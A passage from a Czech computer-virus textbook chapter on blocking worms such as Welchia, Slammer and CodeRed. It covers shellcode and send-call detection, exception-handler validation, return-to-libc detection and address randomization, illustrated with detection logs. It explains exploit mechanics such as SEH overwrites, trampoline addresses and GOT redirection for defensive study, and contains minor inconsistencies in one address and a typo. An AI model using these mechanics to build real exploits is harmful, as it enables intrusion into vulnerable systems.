Welchia používá dva buffery místo jednoho, protože systémy infikované Blasterem nemohou být exploitovány stejným způsobem. Jeden exploitovací kód červa Welchia využívá stejnou zranitelnost jako Blaster.

Shell kódy těchto dvou červů nemají z hlediska sekvence bajtů vůbec nic společného, protože shell kód červa Welchia byl útočníkem vytvořen úplně od začátku. Druhý exploit červa Welchia je znám jako exploit "WebDAV" – NTDLL.DLL. (Předpovídal jsem, že tato zranitelnost Windows může být červem zneužita v řádu několika měsíců.) Oba dva útoky červa Welchia používají stejný kód shellu jako první exploit pro vykonání souboru cmd.exe na vzdáleném stroji. Červ Welchia může být úspěšně zastaven pomocí systému pro blokování shell kódu pro oba exploity:

Tabulka 13.5 – Log blokování kódu shellu červa Welchia. Čas

PID

Položka logu

10.18144540

[512]

Detekce průniku založeného na kódu shellu!

10.18376746

[512]

Návratová adresa: 0086f979 (zásobník!)

10.18501242

[512]

AllocationProtect=PAGE_READWRITE, Type=MEM_PRIVATE

19.61235133

[512]

Znemožnění průniku založeného na kódu shellu!

Kód exploitu "WebDAV" – NTDLL.DLL pracuje s poškozením ovladačů výjimek. Tento útok červa Welchia lze tedy zastavit pomocí techniky validace ovladačů výjimek (viz. část 13.3.3).

13.3.2 Blokování posílání: blokování kódu, který se sám rozesílá Červi, jako jsou W32/CodeRed nebo W32/Slammer, neexistují na cílovém počítači ve formě souborů.

Namísto toho dynamicky lokalizují adresy několika API, které potřebují pro volání uvnitř adresovacího prostoru zranitelného hostitelského procesu, přičemž pokračují v běhu jako součást tohoto procesu.

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

488

Pro tyto červy je obzvláště důležité jedno API – funkce pro zasílání, pomocí které se kód červa šíří po síti do dalších míst. Červi, jako jsou CodeRed a Slammer, používají API knihovny WINSOCK, například WS2_32!send() nebo WS2_32!sendto() a pomocí TCP nebo UDP se zasílají do nových cílů.

Blokování červů využívá těchto jejich charakteristických vlastností. Kvůli filtrování API pro rozesílání je několik z nich zachyceno v systému. Když je voláno API send() nebo sendto(), je toto volání monitorováno a jeho parametry jsou vyhodnoceny.

Nejprve se použije funkce pro trasování zásobníku a identifikuje se umístění volajícího kódu. Do tohoto kódu se odkazuje návratová hodnota API. Tento bod nazveme adresou volajícího kódu (caller’s address, CA). Předpokládáme, že kód v blízkosti CA může patřit počítačovému červu. Abychom zjistili, zdali se skutečně jedná červa, musíme ověřit, jestli je CA uvnitř adresovacího rozsahu právě zasílaného bufferu.

Uvažujme příklad funkce send() na systému Windows (viz výpis 13.6).

Výpis 13.6 Parametry funkce send().

S

[in] Deskriptor, který identifikuje připojovaný socket

Buf

[in] Buffer, obsahující data, která mají být přenesena

Len

[in] Délka dat v bufferu

Flag

[in] Indikátor, který udává způsob provádění volání

int send( SOCKET s, const char FAR *buf, int len, int flags );

Červi, kteří využívají API send(), zasílají svůj vlastní kód v parametru buf tohoto API a přenášejí se tak z aktivního procesu v systému dále. V naší připojené proceduře si můžeme ověřit, kam se parametr buf odkazuje a zjistit, zdali je CA v rozsahu prostoru tohoto bufferu. To může být snadno zkontrolováno pomocí následující podmínky (pokud je pravdivá, jedná se skutečně o červa): buf <= CA < buf + len

Kde len je obvykle délka červa.

Pomocí této techniky můžeme detekovat části kódu, které se pokouší použít API send() pro odeslání sebe sama. Můžeme zabránit, aby se červ posílal na další adresy a zastavit tak jeho šíření.

Podívejme se v následující části na příklady, které demonstrují efektivitu technik blokování odesílání.

13.3.2.1 Blokování červa W32/Slammer Slammer používá k odesílání sebe sama na nové cíle API pojmenované jako WS2_32!sendto(). V ukázkovém logu, který následuje, získá API během pokusu o infekci chráněného systému ukazatel na buffer, umístěný na adrese 0x1050db73. Červ se pokouší odeslat 376 bajtů. Funkce pro trasování zásobníku nám zjistí, že CA funkce sendto() je 0x1050dce9.

Počítačové viry – analýza útoku a obrana

489

Podmínka tohoto volání naplnila naše kritéria pro zablokování – CA je v rozsahu bufferu: 0x1050db73 <= 0x1050dce9 < 0x1050dceb. V našem příkladu tak blokujeme červa Slammer, který se snaží odeslat sám sebe na náhodně vygenerovanou IP adresu 186.63.210.15 na UDP portu 1434 (SQL Server). blocked wormish sendto(1050db73, 376) call from 1050dce9! ws2_32!sendto(1024, <...>, 376, 0, 186.63.210.15:1434)

13.3.2.2 Blokování červa W32/CodeRed Červ W32/CodeRed používá API WS2_32!send() k tomu, aby se pomocí HTTP odeslal na nové cíle.

V následujícím příkladu zablokujeme červa W32/CodeRed, který se pokouší odeslat své tělo: blocked wormish send(0041d246, 3569) call from 0041dcae! ws2_32!send(4868, <...>, 3569, 0)

Zde vidíme, že se jedná o volání API z adresy 0x0041dcea, která je umístěna na heapu procesu inetinfo. exe (jedná se o proces služby IIS). Tělo červa má v našem příkladu délku 3569 bajtů. Začátek bufferu je na adrese 0x0041d246, jeho konec na adrese 0x0041d246 + 3569 = 0x41e037. Kritérium pro blokování je tedy splněno, protože 0x41dcae je uvnitř bufferu: 0x41d246 <= 0x41dcae < 0x41e037.

Takové nežádoucí události můžeme blokovat tak, že ukončíme proces hostitele, ve kterém je útok detekován. Blokování může zabránit rozšíření detekovaného červa až do doby, než jsou aplikovány příslušné bezpečnostní updaty. Tímto způsobem omezíme útok zablokovaného červa na klasický DoS s omezeným dosahem. Detekci a zablokování červa v jeden okamžik tak nelze než doporučit. Útočník ovšem může tento typ blokování odeslání znemožnit takovým způsobem, kdy si alokuje buffer, zkopíruje do něj svůj kód a poté jej odešle. Takto před detekčním mechanismem ukryje skutečnost, že odesílá sám sebe. Abychom předešli takovým technikám, můžeme porovnat odesílaný buffer s kódem okolo adresy CA. Většina červů však může být zablokována klasickým přístupem blokování kódů shellu.

Tato technika zahrnuje i blokování červa W32/Witty22, který neodesílá svůj běžící kód, ale jeho kopii z heapu (útok tohoto červa je podrobně popsán v kapitole 15). Blokování odesílání je tak dodatečnou ochranou, protože detekuje odesílající se kód ze stránky, která je označená jako vykonatelná.

Další důležitou vlastností této techniky odesílání je to, že umí zachytit tělo červa. Různé systémy skenování, jako například antiviry nebo systémy IDS, mohou zachycené tělo červa použít pro přesnější identifikaci. Pokud se o zcela nový útok, může být zachycené tělo odesláno jinému systému pro automatické nebo ruční vytvoření signatury pro IDS nebo antivir.

Když je pak tato signatura distribuována, může být příslušnými systémy IDS, firewally či dalšími skenovacími systémy použita pro zablokování síťového provozu, který odpovídá této signatuře. Takové systémy pak mohou velmi rychle reagovat na případy napadení nebo epidemie červů.

13.3.3. Validace ovladačů výjimek V operačních systémech, jako jsou Windows 9x nebo Windows NT/2000/XP, mohou programátoři pro zachycení chyb v programech nebo problémových situací, obecně použít strukturované ošetření výjimek (SEH, structured exception handling).

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

490

Systémy Windows implementují SEH použitím struktury založené na zásobníku. Řetězec ovladačů výjimek aktuálního threadu je přístupný v bloku TIB (blok informací o threadu), který je umístěný na adrese FS:[0].

Kdykoliv dojde k výjimce, jádro operačního systému spustí dispečera (dispatcher) ovladačů výjimek v uživatelském režimu. V systémech založených na Windows NT se tato funkce nazývá jako KiUserExceptionDispatcher() a je součástí NTDLL.DLL (nativní API). Dispečer tak prochází řetězec ovladačů výjimek vždy, když dojde k nějaké výjimce. Pokud je ovladač výjimky dostupný, bude dispečerem spuštěn v situacích, jako jsou výpadky stránkování, dělení nulou a podobně.

Základní myšlenkou validace ovladačů je napojení na KiUserExceptionDispatcher(). Princip práce je takový, že kdykoliv se má zpracovat nějaká výjimka, provede se nejprve validace, která spočívá v následujících důležitých kontrolách. Cílem je znemožnění možných útoků.  Není-li adresa rámce výjimky ve správném pořadí, může být spuštění ovladače blokováno. Každý

následující rámec výjimky by měl být na vyšší adrese.  Je-li adresa ovladače výjimky v zásobníku nebo na heapu, může být jeho vykonání blokováno.  Je-li ukazatel rámce výjimky neplatný, může být zpracování výjimky blokováno, případně může

být proces (nebo thread) ukončen.

Podívejme se nyní blíže na některé konkrétní případy exploitů, kterým se dá předejít za použití výše uvedené trojice pravidel.

13.3.3.1 Špatné pořadí ovladačů výjimek Exploitace serverů Microsoft IIS prostřednictvím chyby ve "WebDav" – NTDLL.DLL může být zablokováno použitím kritéria, které se týká špatného pořadí ovladačů výjimek. Podívejme se do tabulky 13.6, která ukazuje adresy rámec výjimek na 0x00f5ecdc, 0x00f5ef84 a 0x00c100c1. Útočník předpokládá vykonání vloženého kódu shellu na heapu na adrese 0x00c100c1. Tato adresa je pouze odhadem. V závislosti na dispozicích aktuálního heapu napadeného procesu, ji útočník potřebuje pro různé systémy, nebo pro stejný systém ve více okamžicích, ručně upravit.

Když je útočníkem úspěšně provedeno přetečení bufferu, je hodnota 0x00c100c1 přepsána adresu ovladače výjimky. Přetečení také přepíše ostatní ukazatele rámců výjimek. Tato poškození vedou k tomu, že je splněna podmínka ohledně pořadí rámce výjimek a je možné je tak detekovat.

Poznámka V tomto případě může být útok zastaven ve fázi 66 (viz tabulka), ale kvůli zaznamenání všech problémů se zachycováním výjimek necháme útok pokračovat.

Tabulka 13.6 – Detekce a blokování exploitu zaměřeného na zranitelnost v NTDLL.DLL. Fáze

Čas

PID

Akce v logovacím souboru

52

54.89833320

[736]

Vstup do dispečeru SEH

Počítačové viry – analýza útoku a obrana

Fáze

Čas

PID

Akce v logovacím souboru

53

54.89882097

[736]

Kontrola ukazatele rámce výjimky: 00f5ecdc

54

54.89934813

[736]

Ochrana alokace:00000004 (PAGE_READWRITE)

55

54.89961967

[736]

Typ: 00020000 (MEM_PRIVATE)

56

54.89986691

[736]

Ukazatel rámce výjimky je zřejmě v pořádku!

57

54.90011750

[736]

Nalezen rámec výjimky na: 00f5ecdc

58

54.90031278

[736]

Nalezen rámec výjimky na: 77fb80b9

59

54.90092794

[736]

Ukazatel rámce výjimky je zřejmě v pořádku

60

54.90114417

[736]

Kontrola ukazatele rámce výjimky: 00f5ef84

61

54.90135537

[736]

Ochrana alokace:00000004 (PAGE_READWRITE)

62

54.90157579

[736]

Typ: 00020000 (MEM_PRIVATE)

63

54.90176687

[736]

Ukazatel rámce výjimky je zřejmě v pořádku!

64

54.90196131

[736]

Nalezen rámec výjimky na: 00f5ef84

65

54.90215575

[736]

Nalezen rámec výjimky na: 00c100c1

66

54.90240718

[736]

Detekován chybný ovladač výjimky!

491

* V tomto místě jsem kvůli kompletnímu výpisu povolil pokračování útoku.

67

61.75953962

[736]

Kontrola ukazatele rámce výjimky: 00c100c1

68

61.76222655

[736]

Ochrana alokace:00000004 (PAGE_READWRITE)

69

61.76243524

[736]

Typ: 00020000 (MEM_PRIVATE)

70

61.76277886

[736]

Ukazatel rámce výjimky je zřejmě v pořádku!

71

61.76297497

[736]

Nalezen rámec výjimky na: 00c100c1

72

61.76317695

[736]

Nalezen rámec výjimky na: 4e4e4e4e

73

61.76358091

[736]

Detekován chybný ovladač výjimky!

* V tomto místě jsem kvůli kompletnímu výpisu povolil pokračování útoku.

74

64.54264228

[736]

Kontrola ukazatele rámce výjimky: 4e4e4e4e

75

64.54291634

[736]

Ochrana alokace:00000000 (INVALID!)

76

64.54310491

[736]

Typ: 00000000 (INVALID!)

77

64.98332191

[736]

Detekován chybný ovladač výjimky!

Tento specifický útok je možné detekovat (a předejít mu) ještě dříve, nicméně to záleží na umístění ovladače výjimky.

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

492

13.3.3.2 Ovladač výjimky na heapu nebo na zásobníku Jedná se o stejný princip, jako v případě blokování injektovaného kódu. Abychom zjistili, zdali je stránka, která obsahuje aktuální ovladač výjimek, mapována ze souboru, můžeme jednoduše zkontrolovat atribut IMAGE_SEC. Pomocí tohoto kritéria můžeme zastavit i předchozí uvedené exploity.

13.3.3.3 Ukazatel rámce výjimek je neplatný Různí počítačoví červi, jako třeba W32/CodeRed, přepisují rámec ovladače výjimek, který je uložen na zásobníku konkrétního threadu (vlákna). Když chybné DLL, ve kterém dojde k přetečení, zjistí, že některé parametry zásobníku pro funkce jsou nekorektní, je vyvolána výjimka. V důsledku toho je spuštěn KiUserExceptionDispatcher(). W32/CodeRed však nastaví nový ovladač, který spustí počáteční kód červa. Ke spuštění vlastního těla používá W32/CodeRed tzv. "techniku trampolíny". Jako součást této techniky červem poškodí ukazatel na ovladač výjimky, takže ukazatel vede na kód uvnitř run-time knihovny Visual C (soubor MSVCRT.DLL, adresa 0x7801cbd3).

Toto místo se jeví jako platný ovladač, protože není ani na zásobníku, ani na heapu. V důsledku toho nemůže být tato nekorektnost snadno detekována, jak je ukázáno ve fázi 59 následující tabulky 13.7. Následující ukazatel rámce výjimky je však přetečen pomocí hodnoty 0x68589090, která se odkazuje na neplatnou adresu. Toto kritérium tak může být použito pro zastavení útoku. Pokud bychom nepoužili naši techniku blokování, spustil by KiUserExceptionDispatcher() "ovladač výjimky" na adrese 0x7801cbd3.

Tím se spustí červ nebo exploit, protože instrukce na této adrese vrátí řízení zásobníku – startovacímu kódu červa, který eventuálně najde své tělo na heapu uvnitř (nelegálního) těla požadavku GET. Poté je toto tělo červa spuštěno. Tabulka 13.7 ilustruje techniku blokování v činnosti.

Tabulka 13.7 – Detekce a prevence červa CodeRed a na něm založených exploitů.

Fáze

Čas

PID

Akce v logovacím souboru

52

13.02454613

[676]

Vstup do dispečeru SEH

53

13.02489813

[676]

Kontrola ukazatele rámce výjimky: 016af094

54

13.02512777

[676]

Ochrana alokace =00000004 (PAGE_READWRITE)

55

13.02533142

[676]

Typ=00020000 (MEM_PRIVATE)

56

13.02553005

[676]

Ukazatel rámce výjimky je zřejmě v pořádku!

57

13.02573455

[676]

Nalezen rámec výjimky na: 016af094

58

13.02593904

[676]

Nalezen rámec výjimky na: 7801cbd3

59

13.02616114

[676]

Ukazatel rámce výjimky je zřejmě v pořádku!

60

13.02636647

[676]

Kontrola ukazatele rámce výjimky: 68589090

61

13.02664640

[676]

Ochrana alokace =00000000 (INVALID!)

62

13.02685173

[676]

Typ=00000000 (INVALID!)

63

13.02704952

[676]

Detekován chybný ovladač výjimky!

Počítačové viry – analýza útoku a obrana

493

Mezi nejvíce rozšířené útoky na systémech Windows patří napadení rámců ovladačů výjimek, které jsou založený na zásobníku. Takovým útokům může být snadno zabráněno pomocí jednoduchých modifikací výše uvedené rutiny řízení ovladačů výjimek. Je překvapením, že starší systémy Windows podobné ochrany vůbec neimplementují. Ve Windows XP, SP2 je již však situace jiná.

13.3.4 Techniky zmírňování útoků "return-to-LIBC" V případě útoků "return-to-LIBC" útočník typicky přepíše obsah zásobníku tak, že se návratová adresa odkazuje na funkci v knihovně, která je nahraná v adresovacím prostoru procesu.

Když proces s přepsaným zásobníkem použije návratovou adresu, spustí se funkce knihovny (nebo řetěz takových funkcí) a útočník má šanci spustit nejméně jedno API, například CreateProcess() ve Windows nebo execve() v UNIXu, pak vzdáleně spustit příkazový shell a tím kompromitovat systém. Pomocí přetečení musí útočník rovněž umístit na zásobník vhodné parametry, odpovídající zamýšlené funkci.

Tento postup představuje vážný problém pro různé bezpečnostní řešení, které se výhradně spoléhají na zastavení vykonávání kódu na zásobníku nebo na heapu.

13.3.4.1 Náhodnost adresovacího prostoru procesu Předvídatelnost dispozic (layout) adresovacího prostoru procesu je jedním z největších problémů, na které je potřeba se zaměřit. Každý spustitelný soubor (stejně jako dynamická knihovna) má bázovou adresu, která specifikuje, kde bude modul v adresovacím prostoru procesu zaveden. Moduly mají relokační část, která obsahuje informace potřebné pro situaci, kdy je na preferované lokaci umístěno něco jiného, takže tam modul nemůže být zaveden. V takovém případě systém použije tyto relokační informace a upraví obsah spustitelného souboru v paměti.

Režie způsobená realokací je docela drahá – vytváří totiž další zátěž paměti systému a stránkovacího souboru. Právě kvůli těmto ztrátám zdrojů a výkonu je u mnoha DLL a procesů upravena báze tak, aby se zabránilo realokaci a úpravě obrazů v paměti. Je tomu tak zejména u obecně používaného a sdíleného kódu, jako například CRT nebo systémového kódu. Tento přístup má však bohužel i svoji nevýhodu – útočníci totiž mohou předpovědět, kde v adresovacím prostoru procesu bude kód umístěn.

Myšlenka vytvoření náhodného (randomization) adresovacího prostoru je inspirována skutečností, že mnoho útoků je závislých na těchto napevno naprogramovaných umístěních. Je-li útočník schopen předvídat umístění položky globální tabulky offsetů (GOT) v souborech ELF, může tuto tabulku přepsat. Obecně tedy platí, že útočník, který dokáže předvídat přesné umístění jednotlivých částí kódu v paměti cílového procesu, může této znalosti zneužít.

Například červ W32/CodeRed je závislý na napevno naprogramované adrese 0x7801cbd3. Pokud není na tomto místě posloupnost instrukcí nutná k předání řízení na odpovídající místo, útok selže.

Pokud můžeme přimět zavaděč operačního systému k tomu, aby vždy zaváděl moduly procesů na různé adresy, bude pro útočníka mnohem obtížnější předpovídat pevně naprogramované adresy. Toho lze dosáhnout několika způsoby. Jedním z nejjednodušších je jednorázová změna bází v obrazu na disku (přestože může tato metoda způsobit problémy s digitálně podepsaným kódem).

494

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Dynamická změna báze je možná, může však způsobit významný pokles výkonu (a kromě toho i zpomalení zavádění). Velké množství stránek, které je nutné kopírovat při zápisu (tzv. copy-on-write), totiž vyžaduje více fyzické paměti a prostoru ve stránkovacím souboru. Kromě toho nemusí některé moduly při přesunutí fungovat správně.

Pokud nejsou moduly zavedeny na předvídatelné lokace, představují pro útočníka další překážku. Ten totiž musí k provedení útoku použít metodu hrubé síly a použít mnoho obtížných technik pro získání potřebných informací. Překonávání těchto překážek zpomaluje útok a způsobuje, že je více nápadnější – a tedy také lépe odhalitelný. Nesprávně provedené přetečení například vede k velkému množství havárií, které jsou často typickým příznakem chystaného útoku.

Poznámka Někteří červi nejsou závislí na volání knihoven. Například červ Blaster využívá soubor "Unicode.nls", který je v systémech Windows 2000 mapován do paměti.

13.3.4.2 Detekce přímého vyvolání funkcí knihovny Správně provedené volání API typicky uloží parametry do zásobníku a poté provede instrukci volání.

Vykonání této instrukce má za důsledek uložení návratové adresy na zásobník. Vrchol zásobníku (ESP) obsahuje návratovou adresu, která je adresou instrukce, která následuje instrukci volání ihned poté, co byla tato instrukce provedena (tedy ještě předtím, než volaná funkce nastaví svůj vlastní rámec zásobníku). Ilustrace situace na zásobníku je uvedena na obrázku 13.6.

Obrázek 13.6

Zásobník při normálním volání.

V typické situaci přetečení zásobníku je řízení odkloněno z původně zamýšlené cesty tak, že se přepíše místo na zásobníku, které obsahuje původní vloženou návratovou adresu. U útoku "return-to-LIBC" je tato hodnota útočníkem přepsána na adresu zamýšleného API (pro útoky pomocí kódu shellu, tedy CreateProcess() ve Windows nebo execve() v UNIXu). Kromě přepsání návratové adresy zamýšleným API, musí útočník na zásobník umístit také to, co má být novou návratovou adresou (simulovaná "návratová adresa" na obrázku 13.7) a parametry volání API. Simulovaná návratová adresa musí být na zásobníku, protože volané API tuto skutečnost předpokládá. V opačném případě nebudou parametry zpracovány korektně. Hodnota této simulované návratové adresy není důležitá, pokud útočník nepotřebuje po skončení volání provést ještě něco jiného (pokud volání spouští kód shellu, útočník nepotřebuje spouštět jakékoliv další volání), nebo pokud neplánuje oklamat nějakou techniku pro detekci přetečení. Viz. obrázek 13.7.

Počítačové viry – analýza útoku a obrana

495

Když funkce, která se stala obětí přetečení, provede instrukci RET, není řízení vráceno volajícímu kódu, ale je přesměrováno do API, které útočník určil jako cíl. Provedení této instrukce má za důsledek vyjmutí "návratové adresy" (tedy adresy API) ze zásobníku a její vložení do registru EIP. V této chvíli, po provedení instrukce RET, bude adresa [ESP-4] obsahovat adresu zamýšleného volání API, protože předchozí vrchol zásobníku bude nedotčený umístěn v této lokaci. Situaci na zásobníku ilustruje následující obrázek 13.7.

Obrázek 13.7

Zásobník při provedení "return-to-LIBC".

Toto je klíč k technice obrany proti return-to-LIBC. Když je řízení pomocí instrukce RET předáno API, objeví se adresa tohoto "volaného" API na adrese [ESP-4]. Samovolný výskyt této situace je nepravděpodobný. Uvažovaná technika tedy spočívá v zavěšení vlastních procedur na určitá API. Tyto procedury pak po svém spuštění zkontrolují adresy na [ESP-4].

Pokud tato podmínka splněna, existuje důvodné podezření, že se jedná o útok return-to-LIBC, který může být zablokován. Je pravda, že tato technika spustí falešný poplach u legitimního kódu v případě, kdy tento kód vloží do zásobníku adresu API, a poté předá řízení pomocí instrukce RET. Většina zkompilovaného kódu ovšem nic takového nedělá.

Sekce 13.3.1.1 popisuje techniku, která spočívá v tom, že se na nějaké API zavěsí rutina, která zkoumá atributy stránky návratové adresy, přičemž je schopna zjistit, zdali není volání prováděno z místa, odkud by volání nemělo být prováděno – tedy ze zásobníku nebo z heapu. Tento proces je užitečný pro detekci útoku prováděného injektováním kódu, kdy je řízení předáno instrukcím na zásobníku nebo na heapu, které pak volají příslušná API. Pro útoky return-to-LIBC je tato technika neúspěšná, protože zde není žádná "návratová adresa", která by se mohla zkoumat. "Volání" je ve skutečnosti RET. Když procedura, která je připojená na API, zkontroluje, odkud bylo předáno řízení, jedná se o instrukci RET v korektní kódové stránce; nikoli na zásobníku nebo na heapu.

Kromě toho – pokud je útočník schopen manipulovat se zásobníkem takovým způsobem, kdy instrukce RET předá řízení API a zpřístupní jí odpovídající parametry, může také zajistit, aby se zásobník jevil jako konzistentní, přičemž bude obsahovat legitimní spouštění API pomocí instrukce volání. Útočník potřebuje umístit do zásobníku adresu takové legitimní kódové stránky, ze které by podle očekávání naší zavěšené funkce měla pocházet návratové adresa (pokud je změna řízení provedena pomocí instrukce CALL). (ilustrace simulované "návratové adresy" je na obrázku 13.7.)

496

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Když je naše zavěšená procedura vyvolána, podívá se na vrchol zásobníku (ESP), aby zde nalezla návratovou adresu. V naší situaci by tato procedura nalezla simulovanou návratovou adresu, která se nenachází ani na zásobníku, ani na heapu. Naše nová technika však útok dokáže detekovat, protože se adresa API shoduje s obsahem [ESP-4], tedy s předchozím obsahem zásobníku.

Naší původní myšlenkou bylo zkontrolovat to, zdali předání řízení vzešlo z instrukce volání a to takovým způsobem, že se vrátíme ke zkoumání kódu na předpokládané návratové adrese (tedy místě na vrcholu zásobníku [ESP]), disassemblujeme instrukce na místě před návratovou adresou a ověříme, zdali se jedná o kód instrukce volání. Tato technika je však neúčinná proti manipulaci popsané výše – útočník totiž může nastavit simulovanou návratovou adresu takovým způsobem, že se bude odkazovat na instrukci následující legitimní instrukci volání, která může existovat někde v legitimním kódu nebo může být vytvořena pomocí přetečení.

Pokud tedy naše technika proti přetečení neprovádí kontrolu stránek heapu a zásobníku, může se simulovaná návratová adresa odkazovat na kód, který byl na zásobník nebo na heap umístěn útočníkem během přetečení. Takový kód pak vypadá jako legitimní volání pro tento typ ověřovací techniky.

Abychom to shrnuli, útoky typu return-to-LIBC můžeme detekovat tak, že na klíčová API zavěsíme naši vlastní rutinu, která bude při spuštění kontrolovat adresu na [ESP-4]. Šance útočníka tak můžeme výrazně snížit zkombinováním této techniky s ostatními verifikacemi volání (tedy kontrolou toho, zdali je návratová adresa v zásobníku nebo na heapu a zdali je instrukce volání v očekávaném místě), technikou "randomizace" adres a technikami pro verifikaci ovladačů výjimek.

13.3.5 Atributy stránky "GOT" a "IAT" Útočníci pomocí přesměrování často zneužívají známá umístění adres funkcí (jako je GOT). Například červ Linux/Slapper2 používá tuto techniku ke spuštění kódu shellu na heapu procesu serveru Apache takovým způsobem, že exploituje zranitelná místa OpenSSL a přesměrovává adresu knihovní funkce free() v tabulce GOT. Stojíme tak před následujícími otázkami: proč mají být tato místa ve spustitelných souborech (ELF v případě UNIXu a PE ve Windows; do IAT je možné zapisovat v závislosti na verzi linkeru) zapisovatelná?

Neměla by být pouze pro čtení?

U většiny aplikací platí, že tyto tabulky potřebují být zapisovatelné pouze při zavádění. Poté, co je zavádění dokončeno, mohou být bez problémů označeny atributem pouze pro čtení. Není tedy překvapující, že se někteří výrobci operačních systémů této myšlenky chopili a začlenili ji do svých produktů. Některé nové vydání OpenBSD implementují tuto myšlenku pro GOD. Jiným dobrým příkladem je tabulka služeb (service table) režimu jádra Windows XP, která standardně není zapisovatelná, přinejmenším na systémech, které mají 128 MB či méně fyzické paměti. Dokonce i ovladače v režimu jádra (úroveň 0, ring 0) musí provést několik speciálních kroků pro zavěšení se k tabulce služeb. V případě Windows NT/2000 stačilo do tabulky zapsat požadovanou hodnotu.

Počítačové viry – analýza útoku a obrana

497

Poznámka Jak bylo popsáno v kapitole 12, tabulka služeb v režimu jádra je nezapisovatelná, pokud je paměť jádra pouze pro čtení.

13.3.6 Velký počet spojení a chyby spojení Předchozí myšlenky byly zaměřeny na techniky blokování útoků založených na přetečení zásobníku.

I když jsou jednotlivě použitelné pro zastavení replikace červů, existuje zde další metody, které lze použít proti rychle se šířícím červům.

Jedno z obecných pravidel pro blokování červů nám říká, že rychle se šířící červi je možné detekovat na základě neúměrně vysokého počtu spojení do nových systémů, a podle prodlev ve spojení (v případě pomalejší replikace červů). Výzkumníci HP vyvinuli techniku pojmenovanou jako "škrcení virů" (virus throttling23), použitelnou proti mnoha různým červům, včetně červů založených na skriptech, binárním červům nebo proti červům založených na injektování kódu, kam patří červi W32/CodeRed nebo W32/Slammer.

Základním principem rychle se šířících červů je překotné vyhledávání nových cílů na Internetu. Pokud by si červ předem nezvolil svoje cíle, výsledkem skenování by bylo velké množství chyb při spojení.

Typickým výsledkem červa je však velké množství úspěšných spojení.

Abnormálně velké množství spojení nebo četnost pokusů o spojení (ať už úspěšných nebo neúspěšných) může být použito pro detekci a zastavení červa na základě jeho chování. Algoritmy současných červů pro vyhledávání nových cílů jsou náhodné, v porovnání s běžnými síťovými spojeními. Takže – jak úspěšné, tak i neúspěšné pokusy červa o spojení nám dávají vysoký stupeň entropie. I tato skutečnost může být použita pro jeho detekci a následné zastavení.

Na rozdíl od většiny legitimních síťových aplikací červi obvykle nepoužívají identifikaci pomocí názvů; většina z nich si vytváří vlastní seznam IP adres. Takže pokus o připojení, bez předchozí aktivity vedoucí k vyhledání IP adresy pomocí jména, lze rovněž použít k detekci a zastavení.

Tyto myšlenky nám tak nabízejí další prostředky pro detekci a zpomalení rychle se šířících červů. Výzvy pro takové systémy jsou stejné, jako výzvy pro ostatní systémy založené na technikách blokování – v okamžiku pokusu o spojení už totiž kód útočníka běží na daném systému. Ve světě reálných systémů nelze použít příliš obecné principy, protože by vedly k příliš velkému množství falešných poplachů od legitimních aplikací.

Tyto principy mohou ovlivnit vývojový trend červů v budoucnosti, jak je to popsáno v další sekci. Windows XP SP2 implementují podobnou techniku pro škrcené virů – neumožňují programům příliš agresivní skenování jiných systémů v síti.

498

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

13.4 Možné budoucí útoky červů Ve vývoji nových virů a jiných hrozeb a technik obrany proti nim existuje určitá spřízněnost. Jak nové, tak i existující postupy při vytváření virů budou zkombinovány v počítačových červech budoucnosti, které se budou snažit přemoci nové a silnější systémy ochrany.

13.4.1 Možné zvýšení počtu retro-červů "Nejlepší obranou je útok" Tato sekce popisuje budoucí nebezpečí a potenciální oblasti budoucího výzkumu. Po dlouhou dobu se počítačové viry snažily přemoci antivirové systémy tak, že je napadaly. Lze očekávat, že tento trend bude pokračovat – nově představené techniky obrany budou předmětem retro útoků24.

13.4.2 "Pomalí" červi pod radarem Předpokládáme, že někteří červi budou v budoucnosti naprogramování k pomalému šíření a s využitím taktiky "pomalých a nenápadných" útoků se budou snažit vyhnout detekci.

Například tento typ červů může infikovat webové servery pouze tehdy, pokud k nim připojí už infikovaný (kompromitovaný) webový prohlížeč. Takže, když uživatel během svého surfování zavítá na novou webovou stránku, je před červem nový cíl, na který je možné zaútočit. Styl šíření červa je tak nerozlišitelný od klasického prohlížení webových stránek na internetu.

Někteří červi mohou měnit vlastnosti svého šíření – nějakou dobu se budou šířit pomalu, aby se poté přepnuly do rychlejšího režimu. Tato změna režimu šíření může být závislá na uplynulé době, některé specifické události, popř. to může být založeno na náhodě. Různé varianty červů také mohou mít rozdílné charakteristiky šíření. Červi, kteří mají schopnosti používat rozdílné charakteristiky šíření, představují velkou výzvu pro mnoho obranných systémů.

Všechny tyto možnosti demonstrují důležitost a efektivitu kombinovaných řešení, fungujících na různých úrovních obrany – zejména v porovnání s jednotlivými principy.

13.4.3 Polymorfní a metamorfní červi Polymorfní a metamorfní počítačoví červi jsou v porovnání s ostatními červi o něco více komplexnější.

Jedná se například o hrozby jako (W32, Linux)/Simile.D nebo W95/Zmist. Techniky evoluce kódu26 metamorfních virů představují pro detekční nástroje docela obtížný problém, a to hlavně kvůli snížení rychlosti detekce. Problém je ještě markantnější u nástrojů pro analýzu na úrovni síťového provozu (například u systémů IDS), kde může snížení rychlosti detekce vést k prodlevám v analýze, které následně zapříčiní pád síťových spojení. Kromě toho může aktualizační mechanismus počítačového červa přinášet nové způsoby exploitace – příkladem může být červ W32/Hybris (podrobně viz kapitola 9).

V současné době polymorfismus používalo úspěšným způsobem velmi malé množství počítačových červů. Tato technika polymorfismu se ovšem může stát další efektivním způsobem obrany červů – analýza jejich kódu je totiž mnohem obtížnější a trvá podstatně delší dobu.

Počítačové viry – analýza útoku a obrana

499

Metamorfní kód je obzvláště složité analyzovat, protože je těžké ho číst, a to i v případě člověka zvyklého na assembler. Z tohoto důvodu tak pouze velmi malé množství jedinců dokáže podstoupit únavný a současně náročný proces analýzy hrozeb v metamorfním kódu.

Analýza metamorfního kódu je zdrojem mnoha následujících nejasností:  Jak přesně se metamorfní kód skrývá?  Jaké typy zranitelných míst napadá?  Jaké další metody infekce mohou být v kódu ukryty?

Nedostatek dostupných informací znamená, že výstupy analýzy jsou značně nedokonalé, zejména v porovnání s relativně přímočarými červy s jednoduchou strukturou, kam patří například W32/Slammer.

Jednou z možných technik budoucích metamorfních virů může být používání rozdílných fází infekce.

